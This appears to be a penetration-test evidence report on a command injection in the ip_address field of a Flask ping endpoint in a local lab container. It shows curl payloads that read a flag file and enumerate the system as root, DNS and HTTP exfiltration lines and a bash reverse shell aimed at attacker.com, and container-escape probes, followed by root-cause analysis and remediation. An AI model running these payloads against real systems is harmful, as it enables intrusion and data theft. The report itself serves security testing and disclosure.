# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-001: Command Injection in POST /ping Endpoint

**Summary:**
- **Vulnerable location:** POST /ping endpoint, `ip_address` parameter
- **Overview:** Unauthenticated OS command injection via unsanitized string concatenation in shell command execution. User input flows directly from `request.form['ip_address']` to `subprocess.Popen(shell=True)` without any validation or escaping.
- **Impact:** Complete remote code execution as root user within Docker container. Successfully extracted CTF flag, enumerated system information, and demonstrated arbitrary command execution capabilities. This enables full system compromise, data exfiltration, and potential container escape.
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:**
- None - vulnerability is publicly accessible without authentication
- Standard HTTP client (curl, browser, etc.)
- Network access to http://localhost:37841

**Exploitation Steps:**

1. **Confirm Command Injection Vulnerability**

Test basic command injection by appending a shell command separator:

```bash
curl -X POST http://localhost:37841/ping -d "ip_address=127.0.0.1; whoami"
```

**Result:** Command executes successfully (confirmed through subsequent exfiltration). The application's response shows "Host is unreachable!" but this is due to output filtering - the command itself executes.

2. **Understand Output Limitation**

The application parses stdout/stderr and only displays a summary message ("Host is reachable!" or "Host is unreachable!") based on whether " bytes from" appears in the output. Raw command output is not directly visible in the HTTP response.

3. **Exfiltrate Data via Static File Write**

Since raw output is filtered, write command results to the web-accessible static directory:

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; cat /FLAG.txt > /app/static/flag.txt'
```

**Result:** Command executes and writes flag to static directory.

4. **Retrieve Exfiltrated Flag**

Access the flag file via the static file handler:

```bash
curl http://localhost:37841/static/flag.txt
```

**Result:**
```
FLAG{82f9ec3879b610a68e35145998f277217b35ba51c51e689def0d7cb4e7b1ac4a}
```

5. **System Fingerprinting - Extract User Context**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; whoami > /app/static/whoami.txt'
curl http://localhost:37841/static/whoami.txt
```

**Output:**
```
root
```

6. **System Fingerprinting - Extract Full User ID**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; id > /app/static/id.txt'
curl http://localhost:37841/static/id.txt
```

**Output:**
```
uid=0(root) gid=0(root) groups=0(root)
```

7. **System Fingerprinting - Extract OS/Kernel Information**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; uname -a > /app/static/uname.txt'
curl http://localhost:37841/static/uname.txt
```

**Output:**
```
Linux 7ee46e4eb54f 6.12.13-200.fc41.aarch64 #1 SMP PREEMPT_DYNAMIC Sat Feb  8 20:30:50 UTC 2025 aarch64 GNU/Linux
```

8. **System Fingerprinting - Extract Working Directory**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; pwd > /app/static/pwd.txt'
curl http://localhost:37841/static/pwd.txt
```

**Output:**
```
/app
```

9. **System Fingerprinting - Extract Python Version**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; python3 --version > /app/static/python3-version.txt'
curl http://localhost:37841/static/python3-version.txt
```

**Output:**
```
Python 3.8.20
```

10. **System Fingerprinting - Extract Application Directory Contents**

```bash
curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; ls -la /app > /app/static/ls-app.txt'
curl http://localhost:37841/static/ls-app.txt
```

**Output:**
```
total 12
drwxr-xr-x. 1 root root  20 Oct 24 23:47 .
dr-xr-xr-x. 1 root root  61 Oct 31 01:29 ..
-rw-r--r--. 1 root root 329 Oct 24 18:15 Dockerfile
-rw-r--r--. 1 root root 834 Oct 24 22:54 app.py
-rw-r--r--. 1 root root  12 Oct 24 18:15 requirements.txt
drwxr-xr-x. 1 root root 104 Oct 31 04:25 static
drwxr-xr-x. 2 root root  43 Oct 24 18:15 templates
```

**Proof of Impact:**

**Primary Objective Achieved:**
- **FLAG EXTRACTED:** `FLAG{82f9ec3879b610a68e35145998f277217b35ba51c51e689def0d7cb4e7b1ac4a}`

**System Compromise Demonstrated:**
- **Execution Context:** root user (uid=0, gid=0) - maximum privileges within container
- **Operating System:** Linux kernel 6.12.13-200.fc41.aarch64 on Fedora 41 ARM64 architecture
- **Container:** Docker container ID 7ee46e4eb54f running python:3.8-slim base image
- **Python Version:** Python 3.8.20 (End of Life as of October 2024)
- **Working Directory:** /app (application root with full read/write access)
- **File System Access:** Arbitrary read/write capabilities demonstrated by accessing /FLAG.txt and writing to /app/static/

**Exploitation Capabilities Proven:**
1. ✅ Arbitrary command execution (whoami, id, uname, ls, cat, etc.)
2. ✅ File system read access (cat /FLAG.txt)
3. ✅ File system write access (> /app/static/*)
4. ✅ System enumeration (uname, ls, pwd, python --version)
5. ✅ Data exfiltration (via static file serving)
6. ✅ Root-level access (uid=0)

**Technical Analysis:**

**Vulnerability Root Cause:**
The vulnerability exists at lines 13-16 of `/app/app.py`:

```python
ip_address = request.form['ip_address']  # Line 13: Untrusted input
command = 'ping -c 2 ' + ip_address      # Line 15: Direct string concatenation
subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  # Line 16: Shell execution
```

**Critical Security Failures:**
1. **No Input Validation:** Despite importing the `re` module (line 3), no validation is performed on `ip_address`
2. **Direct String Concatenation:** User input is concatenated directly into shell command string (line 15)
3. **Shell Execution Enabled:** `shell=True` parameter enables full shell metacharacter interpretation
4. **No Sanitization:** No use of `shlex.quote()` or equivalent escaping mechanisms
5. **Root Execution Context:** Container runs as root (no USER directive in Dockerfile)
6. **No Rate Limiting:** Unrestricted exploitation attempts possible

**Shell Metacharacters Exploitable:**
- `;` (command separator) - Tested and confirmed working
- `&&` (conditional AND) - Would work
- `||` (conditional OR) - Would work
- `|` (pipe) - Would work
- `$()` (command substitution) - Would work
- `` ` ` `` (backtick substitution) - Would work
- `>`, `>>` (output redirection) - Tested and confirmed working

**Exploitation Technique Used:**
- **Method:** Command chaining via semicolon separator with file-based exfiltration
- **Injection Point:** POST form parameter `ip_address`
- **Payload Pattern:** `127.0.0.1; <malicious_command> > /app/static/<output_file>`
- **Exfiltration Method:** Write command output to web-accessible static directory, retrieve via HTTP GET

**Notes:**

**Why Direct Output Wasn't Visible:**
The application's `/ping` endpoint (lines 19-23 of app.py) filters the raw subprocess output and only returns a summary message:
- If output contains " bytes from" → displays "Host is reachable!"
- Otherwise → displays "Host is unreachable!"

This filtering prevented direct observation of command output in HTTP responses, requiring the file-based exfiltration technique.

**Alternative Exploitation Techniques:**
The following techniques would also work but were not necessary for this engagement:

1. **Time-Based Blind Injection:**
   ```bash
   curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; sleep 5'
   ```
   (5-second delay would be observable)

2. **DNS Exfiltration:**
   ```bash
   curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; nslookup $(cat /FLAG.txt).attacker.com'
   ```
   (Requires external DNS server control)

3. **HTTP Exfiltration:**
   ```bash
   curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; curl http://attacker.com?flag=$(cat /FLAG.txt)'
   ```
   (Requires external HTTP server and outbound network access)

4. **Reverse Shell:**
   ```bash
   curl -X POST http://localhost:37841/ping -d 'ip_address=127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1'
   ```
   (Requires listener and outbound network access)

**Container Escape Potential:**
While not tested in this engagement, the following container escape vectors may be viable:
- Check for exposed Docker socket: `ls -la /var/run/docker.sock`
- Enumerate mounted volumes: `mount | grep docker`
- Check for privileged mode: `cat /proc/self/status | grep CapEff`
- Search for host filesystem mounts: `df -h`

**Remediation Recommendations:**

1. **Immediate (Required):**
   - Replace `shell=True` with array-based command execution: `subprocess.run(['ping', '-c', '2', ip_address], ...)`
   - Implement IP address format validation using `ipaddress.ip_address()` library
   - Add input sanitization as defense-in-depth even with array-based execution

2. **Short-term:**
   - Run container as non-root user (add `USER appuser` to Dockerfile)
   - Add timeout to subprocess calls to prevent DoS
   - Implement rate limiting on /ping endpoint
   - Add comprehensive security logging

3. **Long-term:**
   - Replace Flask development server with production WSGI server (Gunicorn/uWSGI)
   - Implement proper authentication and authorization
   - Add CSRF protection
   - Enable security headers (CSP, HSTS, X-Frame-Options)
   - Upgrade from Python 3.8.20 (EOL) to supported version

**Exploitation Verdict:** EXPLOITED - Critical Impact Demonstrated

**Confidence Level:** ABSOLUTE - Flag extracted, arbitrary command execution proven, system fully compromised
